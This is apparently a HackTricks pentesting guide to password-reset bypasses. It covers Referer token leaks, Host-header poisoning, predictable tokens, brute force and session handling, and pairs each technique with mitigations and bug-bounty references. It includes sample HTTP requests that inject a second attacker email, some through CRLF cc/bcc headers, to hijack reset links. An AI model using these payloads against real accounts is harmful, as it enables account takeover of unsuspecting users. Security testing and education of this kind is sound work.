hacktricks/pentesting-web/reset-password.md

# Reset/Forgotten Password Bypass

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## **Password Reset Token Leak Via Referrer**

* The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
* **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
* **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
* **References**:
  * [HackerOne Report 342693](https://hackerone.com/reports/342693)
  * [HackerOne Report 272379](https://hackerone.com/reports/272379)
  * [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)

## **Password Reset Poisoning**

* Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
* **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
* **Mitigation Steps**:
  * Validate the Host header against a whitelist of allowed domains.
  * Use secure, server-side methods to generate absolute URLs.
  * **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
* **References**:
  * [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)

## **Password Reset By Manipulating Email Parameter**

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

* Add attacker email as second parameter using &

```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```

* Add attacker email as second parameter using %20

```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```

* Add attacker email as second parameter using |

```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```

* Add attacker email as second parameter using cc

```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```

* Add attacker email as second parameter using bcc

```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```

* Add attacker email as second parameter using ,

```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```

* Add attacker email as second parameter in json array

```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```

* **Mitigation Steps**:
  * Properly parse and validate email parameters server-side.
  * Use prepared statements or parameterized queries to prevent injection attacks.
* **References**:
  * [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
  * [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
  * [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)

## **Changing Email And Password of any User through API Parameters**

* Attackers can modify email and password parameters in API requests to change account credentials.

```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```

* **Mitigation Steps**:
  * Ensure strict parameter validation and authentication checks.
  * Implement robust logging and monitoring to detect and respond to suspicious activities.
* **Reference**:
  * [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)

## **No Rate Limiting: Email Bombing**

* Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
* **Mitigation Steps**:
  * Implement rate limiting based on IP address or user account.
  * Use CAPTCHA challenges to prevent automated abuse.
* **References**:
  * [HackerOne Report 280534](https://hackerone.com/reports/280534)

## **Find out How Password Reset Token is Generated**

* Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
  * Based Timestamp
  * Based on the UserID
  * Based on email of User
  * Based on Firstname and Lastname
  * Based on Date of Birth
  * Based on Cryptography
* **Mitigation Steps**:
  * Use strong, cryptographic methods for token generation.
  * Ensure sufficient randomness and length to prevent predictability.
* **Tools**: Use Burp Sequencer to analyze the randomness of tokens.

## **Guessable UUID**

* If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:

{% content-ref url="uuid-insecurities.md" %}
[uuid-insecurities.md](uuid-insecurities.md)
{% endcontent-ref %}

* **Mitigation Steps**:
  * Use GUID version 4 for randomness or implement additional security measures for other versions.
* **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.

## **Response Manipulation: Replace Bad Response With Good One**

* Manipulating HTTP responses to bypass error messages or restrictions.
* **Mitigation Steps**:
  * Implement server-side checks to ensure response integrity.
  * Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
* **Reference**:
  * [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)

## **Using Expired Token**

* Testing whether expired tokens can still be used for password reset.
* **Mitigation Steps**:
  * Implement strict token expiration policies and validate token expiry server-side.

## **Brute Force Password Reset Token**

* Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
* **Mitigation Steps**:
  * Implement robust rate-limiting and account lockout mechanisms.
  * Monitor for suspicious activities indicative of brute-force attacks.

## **Try Using Your Token**

* Testing if an attacker's reset token can be used in conjunction with the victim's email.
* **Mitigation Steps**:
  * Ensure that tokens are bound to the user session or other user-specific attributes.

## **Session Invalidation in Logout/Password Reset**

* Ensuring that sessions are invalidated when a user logs out or resets their password.
* **Mitigation Steps**:
  * Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.

## **Session Invalidation in Logout/Password Reset**

* Reset tokens should have an expiration time after which they become invalid.
* **Mitigation Steps**:
  * Set a reasonable expiration time for reset tokens and strictly enforce it server-side.

## References

* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)

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